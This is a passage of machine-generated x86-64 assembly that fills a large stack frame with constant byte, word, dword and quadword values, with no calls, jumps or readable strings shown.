mov dword [rsp + 0x3648], 0x6a54
mov dword [rsp + 0x364c], 0x2180
movabs rax, 0x774363e5c4858d
mov qword [rsp + 0x6c58], rax
movabs rax, 0x7d7f008cdc2990
mov qword [rsp + 0x6c60], rax
mov dword [rsp + 0x3650], 0x46b
movabs rax, 0x72cfb9181c20a3
mov qword [rsp + 0x6c68], rax
mov eax, 0x725
mov word [rsp + 0xd94], ax
mov dword [rsp + 0x3654], 0x4c0f
mov byte [rsp + 0x19c], 0x4a
movabs rax, 0x7dcb51b2352164
mov qword [rsp + 0x6c70], rax
movabs rax, 0x7eb2e8d876f37f
mov qword [rsp + 0x6c78], rax
mov dword [rsp + 0x3658], 0x8330
mov dword [rsp + 0x365c], 0x92fa
movabs rax, 0x766d195d9452d9
mov qword [rsp + 0x6c80], rax
mov eax, 0xa5e
mov word [rsp + 0xd98], ax
movabs rax, 0x7b6b094ee45ab7
mov qword [rsp + 0x6c88], rax
mov byte [rsp + 0x19d], 2
movabs rax, 0x7c5920e2ce6d88
mov qword [rsp + 0x6c90], rax
mov eax, 0x685
mov word [rsp + 0xd9c], ax
mov dword [rsp + 0x3660], 0x4b36
mov eax, 0xdc2
mov word [rsp + 0xda0], ax
mov byte [rsp + 0x19e], 0x6b
mov eax, 0x18a
mov word [rsp + 0xda4], ax
movabs rax, 0x7decebc17287bd
mov qword [rsp + 0x6c98], rax
mov byte [rsp + 0x19f], 0x8a
movabs rax, 0x77019ee805ef12
mov qword [rsp + 0x6ca0], rax
movabs rax, 0x783e437a3fdf18
mov qword [rsp + 0x6ca8], rax
mov eax, 0xf68
mov word [rsp + 0xda8], ax
mov eax, 0x67
mov word [rsp + 0xdac], ax
mov byte [rsp + 0x1a0], 0x75
mov byte [rsp + 0x1a1], 0x5d
mov byte [rsp + 0x1a2], 0x21
mov eax, 0x82f
mov word [rsp + 0xdb0], ax
mov dword [rsp + 0x3664], 0x8d7b
movabs rax, 0x7ab8e2ecf71501
mov qword [rsp + 0x6cb0], rax
mov eax, 0x6c4
mov word [rsp + 0xdb4], ax
mov eax, 0x4d7
mov word [rsp + 0xdb8], ax
movabs rax, 0x7025c6e20e109d
mov qword [rsp + 0x6cb8], rax
mov byte [rsp + 0x1a3], 0x54
movabs rax, 0x740af050b35eea
mov qword [rsp + 0x6cc0], rax
mov eax, 0x35a
mov word [rsp + 0xdbc], ax
mov eax, 0x5eb
mov word [rsp + 0xdc0], ax
mov byte [rsp + 0x1a4], 0x1f
mov byte [rsp + 0x1a5], 0x5e
mov eax, 0x9fd
mov word [rsp + 0xdc4], ax
movabs rax, 0x720d9d7adb784e
mov qword [rsp + 0x6cc8], rax
movabs rax, 0x770147cd05f12b
mov qword [rsp + 0x6cd0], rax
mov dword [rsp + 0x3668], 0x5a8e
mov dword [rsp + 0x366c], 0x5a92
mov dword [rsp + 0x3670], 0x1015
movabs rax, 0x7d41b9dbad889e
mov qword [rsp + 0x6cd8], rax
mov eax, 0xbdd
mov word [rsp + 0xdc8], ax
mov eax, 0x2ae
mov word [rsp + 0xdcc], ax
mov byte [rsp + 0x1a6], 0x66
movabs rax, 0x708ba645268d65
mov qword [rsp + 0x6ce0], rax
movabs rax, 0x752248678f9633
mov qword [rsp + 0x6ce8], rax
mov eax, 0xab1
mov word [rsp + 0xdd0], ax
mov byte [rsp + 0x1a7], 0xcd
mov dword [rsp + 0x3674], 0x1214
mov dword [rsp + 0x3678], 0xbb78
mov eax, 0x67e
mov word [rsp + 0xdd4], ax
movabs rax, 0x7b364d356bfa89
mov qword [rsp + 0x6cf0], rax
movabs rax, 0x78f9cad8923c66
mov qword [rsp + 0x6cf8], rax
mov dword [rsp + 0x367c], 0xcac2
movabs rax, 0x7cbecd56881228
mov qword [rsp + 0x6d00], rax
mov dword [rsp + 0x3680], 0x7bc6
mov dword [rsp + 0x3684], 0x8cea
mov eax, 0xdc4
mov word [rsp + 0xdd8], ax
movabs rax, 0x7c725c4fa19da7
mov qword [rsp + 0x6d08], rax
mov byte [rsp + 0x1a8], 0x54
movabs rax, 0x70508a2a0e712b
mov qword [rsp + 0x6d10], rax
movabs rax, 0x77770ecee8e404
mov qword [rsp + 0x6d18], rax
mov eax, 0x94
mov word [rsp + 0xddc], ax
mov eax, 0x3bd
mov word [rsp + 0xde0], ax
mov byte [rsp + 0x1a9], 0x31
movabs rax, 0x7654d7b3c9c7e4
mov qword [rsp + 0x6d20], rax
mov eax, 0xce8
mov word [rsp + 0xde4], ax
mov byte [rsp + 0x1aa], 0x29
mov byte [rsp + 0x1ab], 0x22
movabs rax, 0x745635ca04f4dd
mov qword [rsp + 0x6d28], rax
mov dword [rsp + 0x3688], 0x843d
mov eax, 0x6c3
mov word [rsp + 0xde8], ax
mov eax, 0x900
mov word [rsp + 0xdec], ax
mov dword [rsp + 0x368c], 0x8842
mov dword [rsp + 0x3690], 0x73c
mov eax, 0x4e6
mov word [rsp + 0xdf0], ax
mov eax, 0x42d
mov word [rsp + 0xdf4], ax
movabs rax, 0x77fc29b9181902
mov qword [rsp + 0x6d30], rax
mov dword [rsp + 0x3694], 0x3b7a
mov byte [rsp + 0x1ac], 0x15
mov eax, 0xbd5
mov word [rsp + 0xdf8], ax
mov eax, 0x37b
mov word [rsp + 0xdfc], ax
movabs rax, 0x7530a9c910f796
mov qword [rsp + 0x6d38], rax
mov dword [rsp + 0x3698], 0x7f22
mov eax, 0x4d2
mov word [rsp + 0xe00], ax
mov dword [rsp + 0x369c], 0x3dad
mov byte [rsp + 0x1ad], 0x70
movabs rax, 0x742ebeea8e8d06
mov qword [rsp + 0x6d40], rax
mov byte [rsp + 0x1ae], 0x61
mov byte [rsp + 0x1af], 0x30
movabs rax, 0x7b0a1e12b70e26
mov qword [rsp + 0x6d48], rax
mov byte [rsp + 0x1b0], 0x3c
mov dword [rsp + 0x36a0], 0xfe35
movabs rax, 0x72fc2451839e05
mov qword [rsp + 0x6d50], rax
mov eax, 0x269
mov word [rsp + 0xe04], ax
mov dword [rsp + 0x36a4], 0x4b77
movabs rax, 0x7e68f79d480394
mov qword [rsp + 0x6d58], rax
mov eax, 0x86b
mov word [rsp + 0xe08], ax
mov dword [rsp + 0x36a8], 0xa066
movabs rax, 0x71543244a7f963
mov qword [rsp + 0x6d60], rax
movabs rax, 0x794aa7f9cfd92e
mov qword [rsp + 0x6d68], rax
mov eax, 0xc0
mov word [rsp + 0xe0c], ax
mov byte [rsp + 0x1b1], 0xfb
mov dword [rsp + 0x36ac], 0xe5
mov dword [rsp + 0x36b0], 0x7cfe
movabs rax, 0x71dd698eec81a0
mov qword [rsp + 0x6d70], rax
mov byte [rsp + 0x1b2], 0x2d
movabs rax, 0x78e28f2744d510
mov qword [rsp + 0x6d78], rax
mov byte [rsp + 0x1b3], 0x1b
mov eax, 0x9de
mov word [rsp + 0xe10], ax
mov eax, 0x40e
mov word [rsp + 0xe14], ax
mov eax, 0x151
mov word [rsp + 0xe18], ax
mov eax, 0x38f
mov word [rsp + 0xe1c], ax
movabs rax, 0x7b527fe6ca89e6
mov qword [rsp + 0x6d80], rax
mov byte [rsp + 0x1b4], 0x3b
mov eax, 0xf9b
mov word [rsp + 0xe20], ax
mov eax, 0xf09
mov word [rsp + 0xe24], ax
movabs rax, 0x7e354b3a56f52d
mov qword [rsp + 0x6d88], rax
mov byte [rsp + 0x1b5], 0x44
mov eax, 0x736
mov word [rsp + 0xe28], ax
mov byte [rsp + 0x1b6], 0x74
mov byte [rsp + 0x1b7], 0x9c
mov eax, 0xd51
mov word [rsp + 0xe2c], ax
mov eax, 0xf7
mov word [rsp + 0xe30], ax
mov eax, 0xed2
mov word [rsp + 0xe34], ax
mov dword [rsp + 0x36b4], 0x5c23
movabs rax, 0x7a567c59aabaa4
mov qword [rsp + 0x6d90], rax
movabs rax, 0x7032ab3147a0dc
mov qword [rsp + 0x6d98], rax
movabs rax, 0x72323ebe7fadf4
mov qword [rsp + 0x6da0], rax
mov eax, 0x4e5
mov word [rsp + 0xe38], ax
movabs rax, 0x78cf041a4de433
mov qword [rsp + 0x6da8], rax
mov byte [rsp + 0x1b8], 0x59
mov eax, 0x99
mov word [rsp + 0xe3c], ax
mov eax, 0x282
mov word [rsp + 0xe40], ax
mov eax, 0x605
mov word [rsp + 0xe44], ax
mov byte [rsp + 0x1b9], 0x89
movabs rax, 0x7171244d120fa2
mov qword [rsp + 0x6db0], rax
movabs rax, 0x7e1ec2a2da82c8
mov qword [rsp + 0x6db8], rax
movabs rax, 0x73890997acfe4b
mov qword [rsp + 0x6dc0], rax
movabs rax, 0x788a34f66cd773
mov qword [rsp + 0x6dc8], rax
mov dword [rsp + 0x36b8], 0xf04
mov eax, 0x95
mov word [rsp + 0xe48], ax
mov dword [rsp + 0x36bc], 0x4e20
movabs rax, 0x73e70f7b2c9ec7
mov qword [rsp + 0x6dd0], rax
mov byte [rsp + 0x1ba], 0x56
movabs rax, 0x7aa921ad49f243
mov qword [rsp + 0x6dd8], rax
mov eax, 0x68
mov word [rsp + 0xe4c], ax
mov dword [rsp + 0x36c0], 0x4580
mov dword [rsp + 0x36c4], 0x7ba4
movabs rax, 0x7ae7372e53ac6e
mov qword [rsp + 0x6de0], rax
movabs rax, 0x781118898a0b3d
mov qword [rsp + 0x6de8], rax
mov eax, 0xe26
mov word [rsp + 0xe50], ax
mov byte [rsp + 0x1bb], 0x42
mov dword [rsp + 0x36c8], 0x6435
mov dword [rsp + 0x36cc], 0x4e05
mov dword [rsp + 0x36d0], 0x9b4
movabs rax, 0x7d8e40777b73ed
mov qword [rsp + 0x6df0], rax
movabs rax, 0x7acf58b5cade9f
mov qword [rsp + 0x6df8], rax
mov byte [rsp + 0x1bc], 0x41
movabs rax, 0x74a2fa5e38891f
mov qword [rsp + 0x6e00], rax
mov byte [rsp + 0x1bd], 0x74
mov eax, 0xbf2
mov word [rsp + 0xe54], ax
mov eax, 0x25d
mov word [rsp + 0xe58], ax
movabs rax, 0x7616d3a3c5bd6f
mov qword [rsp + 0x6e08], rax
mov dword [rsp + 0x36d4], 0x57a8
mov byte [rsp + 0x1be], 0x6d
mov byte [rsp + 0x1bf], 0xfb
mov eax, 0xf0b
mov word [rsp + 0xe5c], ax
mov byte [rsp + 0x1c0], 0x5c
mov eax, 0x177
mov word [rsp + 0xe60], ax
mov eax, 0x8d5
mov word [rsp + 0xe64], ax
mov dword [rsp + 0x36d8], 0x847e
mov dword [rsp + 0x36dc], 0x178b
movabs rax, 0x7bf499bc614a9f
mov qword [rsp + 0x6e10], rax
mov dword [rsp + 0x36e0], 0x5afb
movabs rax, 0x77eacf39c9fa53
mov qword [rsp + 0x6e18], rax
mov dword [rsp + 0x36e4], 0x3a6b
mov eax, 0xd49
mov word [rsp + 0xe68], ax
mov eax, 0x815
mov word [rsp + 0xe6c], ax
movabs rax, 0x79541eef5bb426
mov qword [rsp + 0x6e20], rax
mov eax, 0x684
mov word [rsp + 0xe70], ax
mov dword [rsp + 0x36e8], 0xaaf2
mov dword [rsp + 0x36ec], 0xb2
mov byte [rsp + 0x1c1], 0x84
mov eax, 0x19
mov word [rsp + 0xe74], ax
mov dword [rsp + 0x36f0], 0x230a
mov eax, 0x9c2
mov word [rsp + 0xe78], ax
mov dword [rsp + 0x36f4], 0x491f
movabs rax, 0x74b07389be7b01
mov qword [rsp + 0x6e28], rax
movabs rax, 0x7ac31ed449c66a
mov qword [rsp + 0x6e30], rax
mov dword [rsp + 0x36f8], 0xd4f3
mov byte [rsp + 0x1c2], 0x57
mov eax, 0x3d3
mov word [rsp + 0xe7c], ax
movabs rax, 0x756e7f732b94ff
mov qword [rsp + 0x6e38], rax
mov eax, 0xc96
mov word [rsp + 0xe80], ax
movabs rax, 0x79a2128fb259d1
mov qword [rsp + 0x6e40], rax
mov eax, 0x652
mov word [rsp + 0xe84], ax
mov dword [rsp + 0x36fc], 0x67e0
movabs rax, 0x7e684be2407d39
mov qword [rsp + 0x6e48], rax
mov eax, 0x1f
mov word [rsp + 0xe88], ax
movabs rax, 0x7dea98956395cc
mov qword [rsp + 0x6e50], rax
mov dword [rsp + 0x3700], 0x2a70
mov dword [rsp + 0x3704], 0x4f6e
movabs rax, 0x7295dd3f623b66
mov qword [rsp + 0x6e58], rax
movabs rax, 0x77f308523aa61d
mov qword [rsp + 0x6e60], rax
mov dword [rsp + 0x3708], 0xc7ee
mov byte [rsp + 0x1c3], 0x51
mov eax, 0x14f
mov word [rsp + 0xe8c], ax
mov eax, 0x9b2
mov word [rsp + 0xe90], ax
mov eax, 0x15b
mov word [rsp + 0xe94], ax
mov dword [rsp + 0x370c], 0x31d1
movabs rax, 0x74711b3b7b5544
mov qword [rsp + 0x6e68], rax
movabs rax, 0x788d5a9f8129b0
mov qword [rsp + 0x6e70], rax
movabs rax, 0x7d5f12cec21fe3
mov qword [rsp + 0x6e78], rax
mov dword [rsp + 0x3710], 0x1b8f
mov byte [rsp + 0x1c4], 0xa1
mov byte [rsp + 0x1c5], 0x54
mov byte [rsp + 0x1c6], 0xc5
movabs rax, 0x7dc6d369f8d454
mov qword [rsp + 0x6e80], rax
mov byte [rsp + 0x1c7], 0xa2
movabs rax, 0x7e302f3e5b7fbe
mov qword [rsp + 0x6e88], rax
mov eax, 0x33e
mov word [rsp + 0xe98], ax
mov byte [rsp + 0x1c8], 0x25
mov eax, 0x3f3
mov word [rsp + 0xe9c], ax
mov dword [rsp + 0x3714], 0x744b
movabs rax, 0x799e0217d9239d
mov qword [rsp + 0x6e90], rax
mov eax, 0x6a4
mov word [rsp + 0xea0], ax
mov eax, 0x72a
mov word [rsp + 0xea4], ax
movabs rax, 0x74b88ba21253be
mov qword [rsp + 0x6e98], rax
mov eax, 0x630
mov word [rsp + 0xea8], ax
mov dword [rsp + 0x3718], 0x74b5
mov dword [rsp + 0x371c], 0x9a06
mov eax, 0x514
mov word [rsp + 0xeac], ax
mov byte [rsp + 0x1c9], 0x43
movabs rax, 0x736d1fdf148f36
mov qword [rsp + 0x6ea0], rax
mov dword [rsp + 0x3720], 0x73fd
mov byte [rsp + 0x1ca], 0xf9
mov dword [rsp + 0x3724], 0xa828
mov dword [rsp + 0x3728], 0x6904
movabs rax, 0x7bf438a5b7fd4e
mov qword [rsp + 0x6ea8], rax
mov eax, 0x6c7
mov word [rsp + 0xeb0], ax
movabs rax, 0x774dc06e59b6cc
mov qword [rsp + 0x6eb0], rax
mov dword [rsp + 0x372c], 0xc21
mov dword [rsp + 0x3730], 0x53f
mov eax, 0x277
mov word [rsp + 0xeb4], ax
mov dword [rsp + 0x3734], 0x397f
mov eax, 0x413
mov word [rsp + 0xeb8], ax
mov dword [rsp + 0x3738], 0x3d8a
mov eax, 0xd81
mov word [rsp + 0xebc], ax
mov dword [rsp + 0x373c], 0x26d
movabs rax, 0x79e19eec51338a
mov qword [rsp + 0x6eb8], rax
mov eax, 0x1bd
mov word [rsp + 0xec0], ax
mov byte [rsp + 0x1cb], 0xb0
mov dword [rsp + 0x3740], 0x1726
mov eax, 0x908
mov word [rsp + 0xec4], ax
movabs rax, 0x77780ede38856b
mov qword [rsp + 0x6ec0], rax
mov byte [rsp + 0x1cc], 0xb
mov dword [rsp + 0x3744], 0xefbc
mov eax, 0xfb1
mov word [rsp + 0xec8], ax
movabs rax, 0x78e58a0d34baa6
mov qword [rsp + 0x6ec8], rax
movabs rax, 0x706a2c6a419a7d
mov qword [rsp + 0x6ed0], rax
movabs rax, 0x7d4b5dd2aea480
mov qword [rsp + 0x6ed8], rax
mov eax, 0x61f
mov word [rsp + 0xecc], ax
mov byte [rsp + 0x1cd], 0x4c
movabs rax, 0x79a2d576ab922a
mov qword [rsp + 0x6ee0], rax
mov dword [rsp + 0x3748], 0x1749
mov dword [rsp + 0x374c], 0xf003
mov dword [rsp + 0x3750], 0x7c2e
mov byte [rsp + 0x1ce], 0xbd
mov eax, 2
mov word [rsp + 0xed0], ax
mov dword [rsp + 0x3754], 0x395
mov eax, 0x71f
mov word [rsp + 0xed4], ax
movabs rax, 0x761112f8bee65d
mov qword [rsp + 0x6ee8], rax
mov dword [rsp + 0x3758], 0x5d85
mov byte [rsp + 0x1cf], 0xd
mov dword [rsp + 0x375c], 0xa4f0
movabs rax, 0x717c76a5dcd949
mov qword [rsp + 0x6ef0], rax
movabs rax, 0x7a7eeb4585d7ca
mov qword [rsp + 0x6ef8], rax
mov eax, 0x829
mov word [rsp + 0xed8], ax
mov byte [rsp + 0x1d0], 0xe6
mov eax, 0xb78
mov word [rsp + 0xedc], ax
movabs rax, 0x705d45f56f02e0
mov qword [rsp + 0x6f00], rax
mov eax, 0xd45
mov word [rsp + 0xee0], ax
movabs rax, 0x71d25fd5bba98b
mov qword [rsp + 0x6f08], rax
movabs rax, 0x77213a6384c6e9
mov qword [rsp + 0x6f10], rax
mov eax, 0xafc
mov word [rsp + 0xee4], ax
movabs rax, 0x7a165185538a26
mov qword [rsp + 0x6f18], rax
mov dword [rsp + 0x3760], 0x544b
movabs rax, 0x76cc6dd3bd3f86
mov qword [rsp + 0x6f20], rax
mov eax, 0x3bd
mov word [rsp + 0xee8], ax
mov eax, 0x406
mov word [rsp + 0xeec], ax
mov dword [rsp + 0x3764], 0x9e6
mov eax, 0x280
mov word [rsp + 0xef0], ax
movabs rax, 0x7243d9b8771757
mov qword [rsp + 0x6f28], rax
movabs rax, 0x7586ca70dbc8fa
mov qword [rsp + 0x6f30], rax
movabs rax, 0x77fae256a4ef21
mov qword [rsp + 0x6f38], rax
mov byte [rsp + 0x1d1], 9
mov eax, 0x1bc
mov word [rsp + 0xef4], ax
mov dword [rsp + 0x3768], 0x1883
movabs rax, 0x7d2ef34df95d86
mov qword [rsp + 0x6f40], rax
mov byte [rsp + 0x1d2], 0xa0
mov byte [rsp + 0x1d3], 0x42
mov byte [rsp + 0x1d4], 0x6c
mov eax, 0x224
mov word [rsp + 0xef8], ax
mov dword [rsp + 0x376c], 0x6e01
movabs rax, 0x72592645bd71ee
mov qword [rsp + 0x6f48], rax
mov eax, 0x714
mov word [rsp + 0xefc], ax
mov eax, 0xe27
mov word [rsp + 0xf00], ax
mov dword [rsp + 0x3770], 0x5eee
movabs rax, 0x789e570ce30c08
mov qword [rsp + 0x6f50], rax
mov eax, 0xf31
mov word [rsp + 0xf04], ax
mov dword [rsp + 0x3774], 0x5873
mov byte [rsp + 0x1d5], 4
mov eax, 0xc
mov word [rsp + 0xf08], ax
mov dword [rsp + 0x3778], 0x284b
mov eax, 0x5a0
mov word [rsp + 0xf0c], ax
movabs rax, 0x76be430127f13c
mov qword [rsp + 0x6f58], rax
movabs rax, 0x7bc6eca98dfb68
mov qword [rsp + 0x6f60], rax
movabs rax, 0x72b72a13b73299
mov qword [rsp + 0x6f68], rax
mov dword [rsp + 0x377c], 0x9a6
mov dword [rsp + 0x3780], 0x9830
mov eax, 0x13c
mov word [rsp + 0xf10], ax
mov byte [rsp + 0x1d6], 0x4d
mov dword [rsp + 0x3784], 0x4c1
mov byte [rsp + 0x1d7], 0x19
movabs rax, 0x71734468bb8301
mov qword [rsp + 0x6f70], rax
mov byte [rsp + 0x1d8], 0x53
movabs rax, 0x73f0c9d640354c
mov qword [rsp + 0x6f78], rax
mov dword [rsp + 0x3788], 0xa185
movabs rax, 0x77fdf793f64b81
mov qword [rsp + 0x6f80], rax
mov eax, 0xce6
mov word [rsp + 0xf14], ax
mov dword [rsp + 0x378c], 0x2733
mov byte [rsp + 0x1d9], 0xc1
movabs rax, 0x79b5b4d3ba6c69
mov qword [rsp + 0x6f88], rax
mov eax, 0x7c5
mov word [rsp + 0xf18], ax
mov eax, 0xf3c
mov word [rsp + 0xf1c], ax
movabs rax, 0x77be4143bcdfce
mov qword [rsp + 0x6f90], rax
mov byte [rsp + 0x1da], 0x33
mov eax, 0xc4
mov word [rsp + 0xf20], ax
mov byte [rsp + 0x1db], 0x4e
movabs rax, 0x7b8f3c4184958a
mov qword [rsp + 0x6f98], rax
mov dword [rsp + 0x3790], 0x46e6
mov dword [rsp + 0x3794], 0xa48a
movabs rax, 0x7207025b0be6bf
mov qword [rsp + 0x6fa0], rax
mov eax, 0xc42
mov word [rsp + 0xf24], ax
mov byte [rsp + 0x1dc], 0x42
mov dword [rsp + 0x3798], 0x2a95
mov eax, 0x2d1
mov word [rsp + 0xf28], ax
mov dword [rsp + 0x379c], 0x36ca
mov eax, 0x2ba
mov word [rsp + 0xf2c], ax
mov eax, 0x5ef
mov word [rsp + 0xf30], ax
mov eax, 0x441
mov word [rsp + 0xf34], ax
mov byte [rsp + 0x1dd], 0x6f
movabs rax, 0x7145ac8e1f097c
mov qword [rsp + 0x6fa8], rax
movabs rax, 0x758a391cfc8779
mov qword [rsp + 0x6fb0], rax
mov dword [rsp + 0x37a0], 0x8672
movabs rax, 0x7b9be0661f760c
mov qword [rsp + 0x6fb8], rax
mov byte [rsp + 0x1de], 0x25
mov byte [rsp + 0x1df], 0xa0
mov byte [rsp + 0x1e0], 0x69
movabs rax, 0x71d56c24c6c76c
mov qword [rsp + 0x6fc0], rax
movabs rax, 0x7d938b8886b6f2
mov qword [rsp + 0x6fc8], rax
mov eax, 0x3bf
mov word [rsp + 0xf38], ax
mov dword [rsp + 0x37a4], 0xe352
mov dword [rsp + 0x37a8], 0x378
mov dword [rsp + 0x37ac], 0x38d9
movabs rax, 0x7d4006935d21cc
mov qword [rsp + 0x6fd0], rax
mov dword [rsp + 0x37b0], 0xf697
mov dword [rsp + 0x37b4], 0x41e3
movabs rax, 0x77615129334ac9
mov qword [rsp + 0x6fd8], rax
mov eax, 0xd35
mov word [rsp + 0xf3c], ax
mov byte [rsp + 0x1e1], 0x4f
mov byte [rsp + 0x1e2], 0x9b
mov eax, 0x761
mov word [rsp + 0xf40], ax
mov byte [rsp + 0x1e3], 0x4b
mov dword [rsp + 0x37b8], 0x1549
mov byte [rsp + 0x1e4], 0x7c
mov dword [rsp + 0x37bc], 0x1417
mov dword [rsp + 0x37c0], 0x2f15
mov eax, 0x6c1
mov word [rsp + 0xf44], ax
mov eax, 0xf6
mov word [rsp + 0xf48], ax
mov dword [rsp + 0x37c4], 0x688f
mov byte [rsp + 0x1e5], 0xe8
movabs rax, 0x798b220403aeaf
mov qword [rsp + 0x6fe0], rax
movabs rax, 0x7062a88e867ff4
mov qword [rsp + 0x6fe8], rax
mov dword [rsp + 0x37c8], 0xe9e2
mov byte [rsp + 0x1e6], 0x43
movabs rax, 0x7553a6f5494519
mov qword [rsp + 0x6ff0], rax
mov dword [rsp + 0x37cc], 0xe48c
mov dword [rsp + 0x37d0], 0xc4e5
mov eax, 0x9bf
mov word [rsp + 0xf4c], ax
mov eax, 0x1ff
mov word [rsp + 0xf50], ax
movabs rax, 0x7e069e100fab5c
mov qword [rsp + 0x6ff8], rax
mov eax, 0x256
mov word [rsp + 0xf54], ax
mov eax, 0xe34
mov word [rsp + 0xf58], ax
mov dword [rsp + 0x37d4], 0xfc00
mov eax, 0x941
mov word [rsp + 0xf5c], ax
movabs rax, 0x7a0bcad20f0785
mov qword [rsp + 0x7000], rax
mov byte [rsp + 0x1e7], 0x6c
mov dword [rsp + 0x37d8], 0x2740
mov dword [rsp + 0x37dc], 0x4778
movabs rax, 0x7807d4b597030a
mov qword [rsp + 0x7008], rax
movabs rax, 0x7b5489c21ca594
mov qword [rsp + 0x7010], rax
mov dword [rsp + 0x37e0], 0x82ae
mov byte [rsp + 0x1e8], 0x72
mov byte [rsp + 0x1e9], 6
mov dword [rsp + 0x37e4], 0x6198
mov eax, 0x176
mov word [rsp + 0xf60], ax
mov dword [rsp + 0x37e8], 0x3020
movabs rax, 0x7be21b0a1101c7
mov qword [rsp + 0x7018], rax
mov eax, 0x179
mov word [rsp + 0xf64], ax
movabs rax, 0x78548f2a9caacc
mov qword [rsp + 0x7020], rax
mov dword [rsp + 0x37ec], 0x4e6
mov eax, 0x740
mov word [rsp + 0xf68], ax
mov dword [rsp + 0x37f0], 0x1aa2
movabs rax, 0x7ef30899219b59
mov qword [rsp + 0x7028], rax
mov eax, 0x770
mov word [rsp + 0xf6c], ax
mov byte [rsp + 0x1ea], 0x74
mov byte [rsp + 0x1eb], 0x27
mov byte [rsp + 0x1ec], 0x48
movabs rax, 0x7708a811931743
mov qword [rsp + 0x7030], rax
movabs rax, 0x741da977386298
mov qword [rsp + 0x7038], rax
mov eax, 0x37e
mov word [rsp + 0xf70], ax
mov dword [rsp + 0x37f4], 0x2b45
mov eax, 0xc6
mov word [rsp + 0xf74], ax
mov eax, 0xa7a
mov word [rsp + 0xf78], ax
mov byte [rsp + 0x1ed], 0xd9
mov eax, 0xc3
mov word [rsp + 0xf7c], ax
movabs rax, 0x7d9d3781c86e84
mov qword [rsp + 0x7040], rax
mov byte [rsp + 0x1ee], 0x70
mov eax, 0xb7c
mov word [rsp + 0xf80], ax
mov eax, 0xc5d
mov word [rsp + 0xf84], ax
movabs rax, 0x7d356d951a98b2
mov qword [rsp + 0x7048], rax
movabs rax, 0x7d3febee7b34c2
mov qword [rsp + 0x7050], rax
mov dword [rsp + 0x37f8], 0x4cc7
mov eax, 0x723
mov word [rsp + 0xf88], ax
mov byte [rsp + 0x1ef], 0x5b
mov dword [rsp + 0x37fc], 0x66e5
mov byte [rsp + 0x1f0], 0xd5
movabs rax, 0x7d2c44fdc23866
mov qword [rsp + 0x7058], rax
mov dword [rsp + 0x3800], 0x7da0
movabs rax, 0x76927265f2e2ce
mov qword [rsp + 0x7060], rax
mov eax, 0x2fc
mov word [rsp + 0xf8c], ax
mov eax, 0x7da
mov word [rsp + 0xf90], ax
mov byte [rsp + 0x1f1], 0x25
movabs rax, 0x7acf53f2285942
mov qword [rsp + 0x7068], rax
mov eax, 0x5b3
mov word [rsp + 0xf94], ax
mov dword [rsp + 0x3804], 0x33cf
mov eax, 0x477
mov word [rsp + 0xf98], ax
movabs rax, 0x7a6ebae82174b3
mov qword [rsp + 0x7070], rax
mov byte [rsp + 0x1f2], 0xe8
mov byte [rsp + 0x1f3], 0x2d
movabs rax, 0x719687fc62b932
mov qword [rsp + 0x7078], rax
mov dword [rsp + 0x3808], 0x3777
mov dword [rsp + 0x380c], 0x70de
mov dword [rsp + 0x3810], 0xa42c
movabs rax, 0x728c2d039d1e24
mov qword [rsp + 0x7080], rax
mov byte [rsp + 0x1f4], 0xf
mov dword [rsp + 0x3814], 0x9cf7
mov dword [rsp + 0x3818], 0xb9cd
mov eax, 0x59e
mov word [rsp + 0xf9c], ax
mov dword [rsp + 0x381c], 0x486c
mov byte [rsp + 0x1f5], 0xc
mov dword [rsp + 0x3820], 0x2da8
mov dword [rsp + 0x3824], 0x5957
mov dword [rsp + 0x3828], 0xc5b
mov eax, 0x5dc
mov word [rsp + 0xfa0], ax
mov eax, 0x142
mov word [rsp + 0xfa4], ax
movabs rax, 0x726f8fb2a288d5
mov qword [rsp + 0x7088], rax
movabs rax, 0x7c30b90fbce5a4
mov qword [rsp + 0x7090], rax
mov dword [rsp + 0x382c], 0xad59
mov byte [rsp + 0x1f6], 0xd1
mov byte [rsp + 0x1f7], 0xd2
mov dword [rsp + 0x3830], 0x6054
mov dword [rsp + 0x3834], 0x6cda
mov dword [rsp + 0x3838], 0x2337
mov eax, 0x7ad
mov word [rsp + 0xfa8], ax
mov eax, 0xde
mov word [rsp + 0xfac], ax
movabs rax, 0x74f8f845743aa0
mov qword [rsp + 0x7098], rax
mov eax, 0x3fb
mov word [rsp + 0xfb0], ax
mov eax, 0x745
mov word [rsp + 0xfb4], ax
movabs rax, 0x7356340431afab
mov qword [rsp + 0x70a0], rax
mov dword [rsp + 0x383c], 0x1493
mov byte [rsp + 0x1f8], 0x70
mov dword [rsp + 0x3840], 0x9feb
movabs rax, 0x7e21188660619e
mov qword [rsp + 0x70a8], rax
mov byte [rsp + 0x1f9], 0x70
mov byte [rsp + 0x1fa], 0x62
movabs rax, 0x7689c0d1df89c5
mov qword [rsp + 0x70b0], rax
mov byte [rsp + 0x1fb], 0xd1
movabs rax, 0x733fe3ce7e449a
mov qword [rsp + 0x70b8], rax
movabs rax, 0x7868250da700ca
mov qword [rsp + 0x70c0], rax
movabs rax, 0x777cd57ea7afa7
mov qword [rsp + 0x70c8], rax
movabs rax, 0x7c9bff586b48bd
mov qword [rsp + 0x70d0], rax
mov dword [rsp + 0x3844], 0x675
movabs rax, 0x7d4c3f548a8073
mov qword [rsp + 0x70d8], rax
mov eax, 0x13
mov word [rsp + 0xfb8], ax
movabs rax, 0x7e3640e10b7e44
mov qword [rsp + 0x70e0], rax
mov dword [rsp + 0x3848], 0x91d2
mov byte [rsp + 0x1fc], 0xe5
movabs rax, 0x7e000e3144e895
mov qword [rsp + 0x70e8], rax
mov byte [rsp + 0x1fd], 0x1a
mov eax, 0x4a7
mov word [rsp + 0xfbc], ax
mov dword [rsp + 0x384c], 0x9260
mov byte [rsp + 0x1fe], 0x72
mov byte [rsp + 0x1ff], 0xe1
mov byte [rsp + 0x200], 0x2d
mov eax, 0x3c5
mov word [rsp + 0xfc0], ax
mov byte [rsp + 0x201], 0x7b
movabs rax, 0x777a49eba8d94c
mov qword [rsp + 0x70f0], rax
movabs rax, 0x7ec89dca19585a
mov qword [rsp + 0x70f8], rax
mov byte [rsp + 0x202], 0xe8
mov dword [rsp + 0x3850], 0x9410
mov byte [rsp + 0x203], 0x80
mov byte [rsp + 0x204], 0x68
mov dword [rsp + 0x3854], 0x6924
mov eax, 0xb8c
mov word [rsp + 0xfc4], ax
mov byte [rsp + 0x205], 0x3a
mov dword [rsp + 0x3858], 0x3694
movabs rax, 0x728eda21c63ee4
mov qword [rsp + 0x7100], rax
movabs rax, 0x786d759b1488d5
mov qword [rsp + 0x7108], rax
mov eax, 0x14b
mov word [rsp + 0xfc8], ax
